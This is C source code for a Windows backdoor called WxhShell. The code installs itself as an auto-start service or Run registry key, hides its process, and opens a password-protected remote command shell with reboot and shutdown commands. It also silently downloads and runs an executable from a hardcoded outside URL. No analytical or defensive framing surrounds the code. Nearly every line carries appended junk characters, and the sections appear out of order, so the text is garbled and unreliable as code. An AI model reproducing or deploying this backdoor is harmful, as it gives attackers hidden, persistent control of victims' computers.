    ExitThread(0); "%}Gy>;  
    } TJyH/ C  
    break; nqurY62Ip  
    } \2].|Mym  
  // 获取shell N o_$!)J.  
  case 's': { ^z*):e  
    CmdShell(wsh); 5!SoN}$  
    closesocket(wsh); /Oq)3fU e  
    ExitThread(0); clq~ ;hx  
    break; DYT@BiW{  
  } yBPt%EF  
  // 退出 }rKJeOo^x?  
  case 'x': { ,#P,B ;r~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &Hlm{FHU  
    CloseIt(wsh); 7z/(V\9B  
    break; +(=0CA0GE  
    } Qc&-\kQ:$u  
  // 离开 SLQ\Y%F  
  case 'q': { C-a*EG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aDN6MZM  
    closesocket(wsh); B@"SOX  
    WSACleanup(); kW<Yda<a  
    exit(1); pBg|n=^  
    break; b"R, p=M  
        } 5#TrCPi6A  
  } KdOh'OrT9.  
  } b(.-~c('  
Xr@l+zr  
  // 提示信息 ih+*T1#:(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IFd )OZ5  
} Xq8uY/j  
  }  !fQJL   
 .6O52E  
  return; H )BOSZD  
} ), nCq^Bp  
i\kTm?BQZ  
// shell模块句柄 1a($8>  
int CmdShell(SOCKET sock) ,2 zt.aqB  
{ <&qpl0U)Y  
STARTUPINFO si; laUu"cS  
ZeroMemory(&si,sizeof(si)); 3bbp>7V!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Q-[;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !G)mjvEe  
PROCESS_INFORMATION ProcessInfo; /~o7Q$)-b  
char cmdline[]="cmd"; `y8 ?=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~")h E%Kl}  
  return 0; (R4PD  
} Vl5SL{+D  
_o@(wGeu#  
// 自身启动模式 G$?|S@I,  
int StartFromService(void) 4zo4H~@gk  
{ ~q0I7M  
typedef struct [,OJX N-4s  
{ W]@gQ (Ef  
  DWORD ExitStatus; 1fz*S IjG  
  DWORD PebBaseAddress; -M7K8  
  DWORD AffinityMask; `ir&]jh.A  
  DWORD BasePriority; L# `lQ"`K  
  ULONG UniqueProcessId; ,N;))3  
  ULONG InheritedFromUniqueProcessId; 'i@,~[Z4  
}   PROCESS_BASIC_INFORMATION; zW*}`S "  
Zi 2o  
PROCNTQSIP NtQueryInformationProcess; 1%$d D2  
&Q\_;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! (2-(LgA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 9Ba{qj  
vOos*&  
  HANDLE             hProcess; RL?u n}Qa  
  PROCESS_BASIC_INFORMATION pbi; u] F7 0C^~  
Ni+3b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I#"t'=9H  
  if(NULL == hInst ) return 0; L8K0^~Mk  
4` '8fe/"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jP1$qhp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bjPka{PBj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K^"w]ii=  
I\}|Y+C$d/  
  if (!NtQueryInformationProcess) return 0; U8CWz!;Qz  
6BDt.bG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +68+PhHF  
  if(!hProcess) return 0; 2{Wo-B,wt~  
~R :<Bw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ihdu1]~R{  
Gs+\D0o!  
  CloseHandle(hProcess); ANckv|&'v  
4rI:1 yGt@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 54<6Dy f  
if(hProcess==NULL) return 0; Dc5bkm  
CD^CUbGk  
HMODULE hMod; c]6V"Bo}A  
char procName[255]; %4j&H!y-w;  
unsigned long cbNeeded; ;knd7SC   
|J:$MX~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RS'} nY}  
HR;/Br  
  CloseHandle(hProcess); uA~YRKer  
Ds {{J5Um%  
if(strstr(procName,"services")) return 1; // 以服务启动 i\(\MzW*'  
M(qxq(#{U  
  return 0; // 注册表启动 PKi_Zh.D  
} GtF2@\  
Z`rK\Bc  
// 主模块 >4,{6<|  
int StartWxhshell(LPSTR lpCmdLine) %PzQ\c  
{ 'nMApPl  
  SOCKET wsl; A^pu  
BOOL val=TRUE; p?;-!TUv  
  int port=0; ;_iPm?Y8  
  struct sockaddr_in door; -<_7\09  
6MuWlCKF8  
  if(wscfg.ws_autoins) Install(); (YIhTSL"]  
Z)/6??/R  
port=atoi(lpCmdLine); Kaf>  
\@i=)dA  
if(port<=0) port=wscfg.ws_port; =K :(&6f<t  
\ZS\i4  
  WSADATA data; w TlGJ$D0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sYI~dU2H  
QjLji +L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p"KU7-BfvC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O:1DOUYXs  
  door.sin_family = AF_INET; -PM)EGSk{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h}avX*Lx_  
  door.sin_port = htons(port); qtHfz"p  
K'NcTw#f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _().t5<  
closesocket(wsl); r:-WzH(Ms  
return 1; NH'iR!iGo  
} mG_BM/$  
<{giHT  
  if(listen(wsl,2) == INVALID_SOCKET) { Rv vh{U;t  
closesocket(wsl); s|Zx(.EP  
return 1; 8zZSp  
} ^;zWWg/d  
  Wxhshell(wsl); en>9E.?N  
  WSACleanup(); s;J\Kc?"|  
]c}=5m/  
return 0; ymtd>P"  
:7\9xH  
} h4Ia>^@  
B20_ig:  
// 以NT服务方式启动 \OcMiuw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H>?F8R_iq  
{ >\Z R*CS  
DWORD   status = 0; k5@d! }#c  
  DWORD   specificError = 0xfffffff; E:FO_R(Xq  
8Y# bN*!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %w7m\nw@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZW*n /#GUC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kg3ppt  
  serviceStatus.dwWin32ExitCode     = 0; h~w4, T  
  serviceStatus.dwServiceSpecificExitCode = 0; W (`c  
  serviceStatus.dwCheckPoint       = 0; azo0{`S?  
  serviceStatus.dwWaitHint       = 0; < A?<N?%o  
snYr9O[E6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B;!f<"a8  
  if (hServiceStatusHandle==0) return; +yWR#[`n  
RZO5=L9E  
status = GetLastError(); 6Nt$ZYS  
  if (status!=NO_ERROR) (;}tf~~r  
{ # .<V^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6^;^rUlm  
    serviceStatus.dwCheckPoint       = 0; '"'Btxz  
    serviceStatus.dwWaitHint       = 0; H] k'?;  
    serviceStatus.dwWin32ExitCode     = status; jJ~Y]dQi  
    serviceStatus.dwServiceSpecificExitCode = specificError; zE`R,:VI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+EN@Y^dAV  
    return; Uki9/QiX>  
  } 8Bpip  
.^[_ V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .$ Bwb/a  
  serviceStatus.dwCheckPoint       = 0; %9o+zg? RJ  
  serviceStatus.dwWaitHint       = 0; M^6$ MMx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W&(f&{A  
} LmQ/#Gx  
Z)&D`RCf  
// 处理NT服务事件,比如:启动、停止 =-~;OH /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cS|VJWgTZ  
{  i-W  
switch(fdwControl) '# z]M  
{ |;u}sX1t9  
case SERVICE_CONTROL_STOP: s-k_d<  
  serviceStatus.dwWin32ExitCode = 0; z<pJYpxH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \dq!q=b\  
  serviceStatus.dwCheckPoint   = 0; ug *D52?  
  serviceStatus.dwWaitHint     = 0; s /%:dnij  
  { n|i"S`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :EZQ'3X  
  } ++8_fgM  
  return; lJ{V  
case SERVICE_CONTROL_PAUSE: +;q.Y?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H9` f0(H  
  break; xd8 *<,Wj  
case SERVICE_CONTROL_CONTINUE: )ofm_R'q*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #tjmWGo,  
  break; t`G)b&3_O  
case SERVICE_CONTROL_INTERROGATE: :eOR-}p'  
  break; nrpI5t.b  
}; M3pjXc<O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f v LC_'M  
} +a|/l  
Dag`>|my  
// 标准应用程序主函数 6T+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GK{{7B  
{ RY=1H  
b2 kWjg.4  
// 获取操作系统版本 0oU=RbC  
OsIsNt=GetOsVer(); Lw*]EG|?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )%Ru#}1X6  
a<m-V&4x  
  // 从命令行安装 h qmSE'8  
  if(strpbrk(lpCmdLine,"iI")) Install(); [s` G^  
?4[H]BK  
  // 下载执行文件 :\yc*OtX  
if(wscfg.ws_downexe) { _+w/ pS`M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pCU*@c!  
  WinExec(wscfg.ws_filenam,SW_HIDE); I^3:YVR&  
} &~-~5B|3"  
1S$h<RIPAc  
if(!OsIsNt) { 2cf' ,cv@8  
// 如果时win9x,隐藏进程并且设置为注册表启动 2~c~{ jl\  
HideProc(); ?Zz'|.l@  
StartWxhshell(lpCmdLine); [@"wd_f{l  
} Owf.f;QR  
else )1F<6R  
  if(StartFromService()) 'C?NJ~MN  
  // 以服务方式启动 Qw)9r{f  
  StartServiceCtrlDispatcher(DispatchTable); bJ3(ckhq  
else #c Kqnk  
  // 普通方式启动 j@1)K3Hga  
  StartWxhshell(lpCmdLine); fgF;&(b  
Ec]|p6a3  
return 0; o6}n8U}bk  
} ~}%~oT  
?m;;D'1j  
RuAlB*  
Kt/)pc  
=========================================== AQ{zx1^2>K  
V#83!  
+F@_Es<6  
`UzVS>]l[+  
=P^wh  
+S~.c;EK  
" {G*QY%j^  
Mkv|TyC  
#include <stdio.h> M{N(~ql  
#include <string.h> 6Nh0  
#include <windows.h> d^V$Z6* ]  
#include <winsock2.h> E9 Y\X  
#include <winsvc.h> 9=+-QdX+0]  
#include <urlmon.h> WZFH@I28  
1BTIJ Gw  
#pragma comment (lib, "Ws2_32.lib") 9dKul,c  
#pragma comment (lib, "urlmon.lib") 7#2j>G{?]v  
>nn Y:7m  
#define MAX_USER   100 // 最大客户端连接数 KMjg;! y  
#define BUF_SOCK   200 // sock buffer RKTb' 3H  
#define KEY_BUFF   255 // 输入 buffer t\R; < x  
g9mG`f  
#define REBOOT     0   // 重启 l]#!+@  
#define SHUTDOWN   1   // 关机 c^.l 2Q!  
=-jD~rN4;P  
#define DEF_PORT   5000 // 监听端口 hW 2.8f$  
&M"ouy Zo9  
#define REG_LEN     16   // 注册表键长度 wH6u5*$p  
#define SVC_LEN     80   // NT服务名长度 ]=&L_(34  
z,f=}t[.Y  
// 从dll定义API F $yO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IazkdJX~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vk}49O<K/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z(Q2Ue;}&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \t.}-u<7{  
TEVI'%F  
// wxhshell配置信息 XutF"9u  
struct WSCFG { w|Aqqe  
  int ws_port;         // 监听端口 uJow7-FD  
  char ws_passstr[REG_LEN]; // 口令 m],Ud\  
  int ws_autoins;       // 安装标记, 1=yes 0=no %XRN]tsu  
  char ws_regname[REG_LEN]; // 注册表键名 )]Ti>RO7  
  char ws_svcname[REG_LEN]; // 服务名 s#-eN)1R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t#~?{i@m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F@vbSFv)/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cmd329AH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R p.W,)i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eaZQ2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w:ULi3  
1B:aC|B  
}; s ic$uT  
N:BL=} V  
// default Wxhshell configuration --k:a$Nt  
struct WSCFG wscfg={DEF_PORT, `T WN^0!]  
    "xuhuanlingzhe", <' m6^]:  
    1, clDHTj=~  
    "Wxhshell", :nGMtF  
    "Wxhshell", \e:d)^cbh  
            "WxhShell Service", ;j} yB  
    "Wrsky Windows CmdShell Service", a/:XXy |  
    "Please Input Your Password: ", ;e s^R?z  
  1, pR$6,Vi  
  "http://www.wrsky.com/wxhshell.exe", )ly ^Ox  
  "Wxhshell.exe" g`,AaWlF  
    }; ;Ss$2V'a  
y{=NP  
// 消息定义模块 :#X[%"g.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <+]f`c*Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r6.N4eW.L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4\2V9F{s  
char *msg_ws_ext="\n\rExit."; |!*Xl) ]  
char *msg_ws_end="\n\rQuit."; ^PqF<d6  
char *msg_ws_boot="\n\rReboot..."; +V8b  
char *msg_ws_poff="\n\rShutdown..."; j4.&l3  
char *msg_ws_down="\n\rSave to "; Zz"}Cz:bX  
H7&xLYQ2  
char *msg_ws_err="\n\rErr!"; >)4YP*qIPb  
char *msg_ws_ok="\n\rOK!"; 1(gfdx9|b  
mN}7H:,  
char ExeFile[MAX_PATH]; 1Ix3i9  
int nUser = 0; W)=%mdxW0  
HANDLE handles[MAX_USER]; Fvl`2W94;  
int OsIsNt; h%}( h2 W  
<[Oo*:A!7  
SERVICE_STATUS       serviceStatus; < K %j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i^2IW&+}e}  
%|IUqjg  
// 函数声明 X;GfPw.m  
int Install(void); O6c\KFBSJ  
int Uninstall(void); 4u1KF:g  
int DownloadFile(char *sURL, SOCKET wsh); isK;mU?<  
int Boot(int flag); ~brFo2  
void HideProc(void); pB01J<@m  
int GetOsVer(void); +"!aM?o  
int Wxhshell(SOCKET wsl); B;t=B_oK  
void TalkWithClient(void *cs); E_:QSy5G  
int CmdShell(SOCKET sock); ]T<^{jG  
int StartFromService(void); Dn;p4T@  
int StartWxhshell(LPSTR lpCmdLine); >P(`MSc  
FjKq%.=#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (xT*LF+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VXKT\9g3A  
Re[ :qLa]  
// 数据结构和表定义 Q:o 7G|C  
SERVICE_TABLE_ENTRY DispatchTable[] = ^%[F8\}XPJ  
{ <Oz66bTze  
{wscfg.ws_svcname, NTServiceMain}, W|R-J  
{NULL, NULL} ,=By$.rr'  
}; T@ 48qg  
q)I|2~Q c^  
// 自我安装 hnxc`VX>g  
int Install(void) AR B7>"  
{ v 81rfB5  
  char svExeFile[MAX_PATH]; 'gTmH[be  
  HKEY key; NPJ.+ph  
  strcpy(svExeFile,ExeFile); (6qsKX  
f&I7,"v  
// 如果是win9x系统,修改注册表设为自启动 @.$MzPQQI  
if(!OsIsNt) { );JJ2Jlkd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '"xiS$b(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?[= U%sPu=  
  RegCloseKey(key); ;u!?QSvb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r0\f;q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Es8#]'Rk  
  RegCloseKey(key); ok0X<MR!I  
  return 0; |f' 8p8J  
    } sdr.u  
  } Xr_pgW|  
} +_mr  
else { rla:<6tt  
XAD3Z?  
// 如果是NT以上系统,安装为系统服务 la, h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9([6d.`~  
if (schSCManager!=0) nX[;^v/  
{ ZK dh%8C  
  SC_HANDLE schService = CreateService Sb"2Im>  
  ( &Ocu#Cb  
  schSCManager, J!p<oW)a!  
  wscfg.ws_svcname, u-><}OVf~  
  wscfg.ws_svcdisp, TOT PzB  
  SERVICE_ALL_ACCESS, S/Oxr%H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \< 65??P  
  SERVICE_AUTO_START, H5M#q6`H6  
  SERVICE_ERROR_NORMAL, 3H8Al  
  svExeFile, )%j"  
  NULL, `XMM1y>V9>  
  NULL, T.Zz;2I  
  NULL, n0fRu`SNV  
  NULL, .6T4z7I  
  NULL 8pe0$r`b  
  ); !Q)3-u  
  if (schService!=0) BKb<2  
  { #PAU'u 3{/  
  CloseServiceHandle(schService); (!</%^ZI  
  CloseServiceHandle(schSCManager); \E hr@g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yj8&  
  strcat(svExeFile,wscfg.ws_svcname); n|KKby.$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q[_Ni15  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J/kH%_ >Ir  
  RegCloseKey(key); dR[o|r  
  return 0; ^k72{ 3N(  
    } 'JZ_  
  } c@OP5L>{  
  CloseServiceHandle(schSCManager); 8 /m3+5  
} ^H=o3#P~L  
} hyu}}0:  
_*`q(dYcf  
return 1; ScJu_A f  
} O/9fuEF  
L82NP)St  
// 自我卸载 *l!5QG UoK  
int Uninstall(void) yq6LH   
{ PqfVX8/q0  
  HKEY key; Qj!d^8  
3o0IjZ=[>  
if(!OsIsNt) { 1t2cY;vJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :,YLx9i>  
  RegDeleteValue(key,wscfg.ws_regname); RV92qn B  
  RegCloseKey(key); wE2x:Ge:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #W5Yw>$  
  RegDeleteValue(key,wscfg.ws_regname); /(zB0TEd  
  RegCloseKey(key); D_ ug-<QT  
  return 0; cx:jUsb6  
  } rWe 8D/oc  
} SALCuo"L  
} { _X#fq0}  
else { vnZ/tF  
(`mOB6j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U_Y;fSl>  
if (schSCManager!=0) n/-N;'2J  
{ {6tx,;r(F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R=86w_  
  if (schService!=0) <PQRd  
  { Y_lCcu#OA  
  if(DeleteService(schService)!=0) { Wa/geQE1<  
  CloseServiceHandle(schService); mxhW|}_-j  
  CloseServiceHandle(schSCManager); OfLM  
  return 0; ]+,nA R  
  } 9OZ>y0)K~  
  CloseServiceHandle(schService); )$F6  
  } 1gAc,s2  
  CloseServiceHandle(schSCManager); z1qUz7  
} 05g?jV  
} my=~"bw4  
-faw:  
return 1; ~ i'C/[P  
} .-%oDuB5zF  
]>*I)H)  
// 从指定url下载文件 d#Wn[h$"  
int DownloadFile(char *sURL, SOCKET wsh) ;]u1~  
{ w6v1 q:20  
  HRESULT hr; U\;Ml  
char seps[]= "/"; 5W5pRd>Q  
char *token; )SD_}BY%k  
char *file; |vT=Nnu  
char myURL[MAX_PATH]; vT}pbOTh  
char myFILE[MAX_PATH]; NIL^UN}  
10TSc j  
strcpy(myURL,sURL); bY&YSlO  
  token=strtok(myURL,seps); `7$Oh{67  
  while(token!=NULL) ,gx$U@0Z  
  { I')x]edU  
    file=token; cnYYs d{  
  token=strtok(NULL,seps); C }bPv +t  
  } {{GHzW  
$1=v.'Y  
GetCurrentDirectory(MAX_PATH,myFILE); yOM -;h  
strcat(myFILE, "\\"); -KA4Inn]5  
strcat(myFILE, file); +@^47Xu^  
  send(wsh,myFILE,strlen(myFILE),0); 14;Av{Xt  
send(wsh,"...",3,0); '9Qd.q7s|b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E.Pje@d  
  if(hr==S_OK) \O,j}O'  
return 0; uRs9}dzv  
else %pM :{Z  
return 1; @]<DR*<  
eb(m8vLR  
} >4#tkv>S.  
&a~L_`\'  
// 系统电源模块 C`z;,!58%  
int Boot(int flag) =b|)Wnt2f  
{ BD?F`%-x  
  HANDLE hToken; J$<:/^t  
  TOKEN_PRIVILEGES tkp; ?WMi S]Q\  
64;oB_  
  if(OsIsNt) { >DkN+S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~c9vdK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #{?m  
    tkp.PrivilegeCount = 1; R|6RI}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i"ck`6v"8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C-_w]2MM  
if(flag==REBOOT) { J>/Ci\OB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OcLg3.:L  
  return 0; }NR`81  
} ~ rQ4n9G  
else { 0  %C!`7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |ORmS& 7  
  return 0; v] W1F,u  
} ~x9 W{B]  
  } deHY8x5uI  
  else { ysQEJm^|-u  
if(flag==REBOOT) { 8UjCX[v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t Qp* '  
  return 0; xu0;a  
} Y+}OClS  
else { !#l0@3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XtnIK  
  return 0; K7n;Zb:BR  
} q^Q|.&_k /  
} M ^ 0w/  
Ma n^\gkCi  
return 1; b0rt.XB  
} =]2 b8  
|F8;+nAVF#  
// win9x进程隐藏模块 $@lq}FQ%  
void HideProc(void) ~Q3WBOjn  
{ }6yxt9  
q{jk.:;'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qQ2  
  if ( hKernel != NULL ) :XNK-A W  
  { 4'd;'SvF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }A)^XZ/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +5N^TnBtBL  
    FreeLibrary(hKernel); KzxW?Ji$S  
  } mkKRC;  
ZA 99vO  
return; oX%PsS  
} <VauJB*R  
#S/pYP`7  
// 获取操作系统版本 p P_wBX  
int GetOsVer(void) tF{{cd  
{ D>!v_v6  
  OSVERSIONINFO winfo; 'd~, o[x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2_B;  
  GetVersionEx(&winfo); PprQq_j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /zDSlj<c  
  return 1; YA1{-7'Q  
  else ]JhDRJ\  
  return 0; 7%~VOB  
} B h.6:9{  
WVBE>TB  
// 客户端句柄模块 64IeCAMVo  
int Wxhshell(SOCKET wsl) }V93~>  
{ vQ9 xG))  
  SOCKET wsh; #8WR{  
  struct sockaddr_in client; a78;\{&L'  
  DWORD myID; &@`H^8  
3P=Eb!qtdD  
  while(nUser<MAX_USER) ba8-XA_~U  
{ =1uj1.h  
  int nSize=sizeof(client); )dzjz%B)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HfZ (U5~  
  if(wsh==INVALID_SOCKET) return 1; J~nJpUyP*  
$! fz~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AVdd?Ew  
if(handles[nUser]==0) r5X BcG(2  
  closesocket(wsh); c@"i?  
else X(0:zb,#G*  
  nUser++; h}c6+@w&-  
  } @$N*lrM2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2={K-s20  
q%)*,I<  
  return 0; =~(LJPo6  
} yF [@W<  
)BMWC k  
// 关闭 socket l{%Op\  
void CloseIt(SOCKET wsh) $6]x,Ct  
{ m+G0<E%  
closesocket(wsh);  9\W5   
nUser--; ~-o^eI4_  
ExitThread(0); s OrY^cY;  
} XEe+&VQmY  
hP6fTZ=Ln  
// 客户端请求句柄 Yg:74; .  
void TalkWithClient(void *cs) }f0^9(  
{ b;t}7.V'%  
gE]a*TOZk  
  SOCKET wsh=(SOCKET)cs; XV0<pV>  
  char pwd[SVC_LEN]; &*?!*+!,i  
  char cmd[KEY_BUFF]; ` wsMybe#  
char chr[1]; tpy :o(H  
int i,j; ES2d9/]p-  
^b/q|(Nu&  
  while (nUser < MAX_USER) { V!aC#^  
VG*=)8{  
if(wscfg.ws_passstr) { [fJFH^&?hr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VS@rM<K{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 85d7IB{28  
  //ZeroMemory(pwd,KEY_BUFF); pCud` :o"  
      i=0; ZLFdnC@  
  while(i<SVC_LEN) { J{'zkR?Lr  
$=6kh+n@  
  // 设置超时 EJSgTtp 2  
  fd_set FdRead; E6KBpQcd[  
  struct timeval TimeOut; 5{x[EXE'  
  FD_ZERO(&FdRead);  +T8XX@#  
  FD_SET(wsh,&FdRead); #Z3I%bkw H  
  TimeOut.tv_sec=8; 9zM4D  
  TimeOut.tv_usec=0; @bVh?T0~F,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | 2c!t$O@v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CI3_lWax%  
%lq7; emtp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8^ZM U{  
  pwd=chr[0]; 3=eGS  
  if(chr[0]==0xd || chr[0]==0xa) { My43\p  
  pwd=0; +'6ea+$  
  break; dpOL1rrE  
  }  ~d<`L[  
  i++; iLQt9Hyk  
    } HS7 G_  
r^ Rcjyc1  
  // 如果是非法用户,关闭 socket =;-ju@d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %RR|QY*  
} oqU#I~ -  
-|iA!w#31  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =S7C(;=4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EKJc)|8  
W$ d{  
while(1) { VL,?91qwe  
nr9#3 Lb  
  ZeroMemory(cmd,KEY_BUFF); B0?@k  
gT\y&   
      // 自动支持客户端 telnet标准   {/VL\AW5$  
  j=0; jwE(]u  
  while(j<KEY_BUFF) { eNk!pI7g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `[HoxCV3o  
  cmd[j]=chr[0]; otnY{r *  
  if(chr[0]==0xa || chr[0]==0xd) { +^3L~?  
  cmd[j]=0; o\V4qekk  
  break; Gpp}Jpj   
  } U3R`mHr0  
  j++; :|6D@  
    } .$E~.6J %i  
8 $*cfOC  
  // 下载文件 TKs@?Q,J  
  if(strstr(cmd,"http://")) { VBj;2~Xj4h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K &~#@I;  
  if(DownloadFile(cmd,wsh)) }n&JZ`8<s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*`JcUn,>  
  else #z54/T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4O,a`:d1$6  
  } 2|H'j~  
  else { 0$dNrq  
a\j\eMC  
    switch(cmd[0]) { V?=zuB?'  
  dCJR,},\f  
  // 帮助 >71w #K  
  case '?': { c3 ]^f6)?  
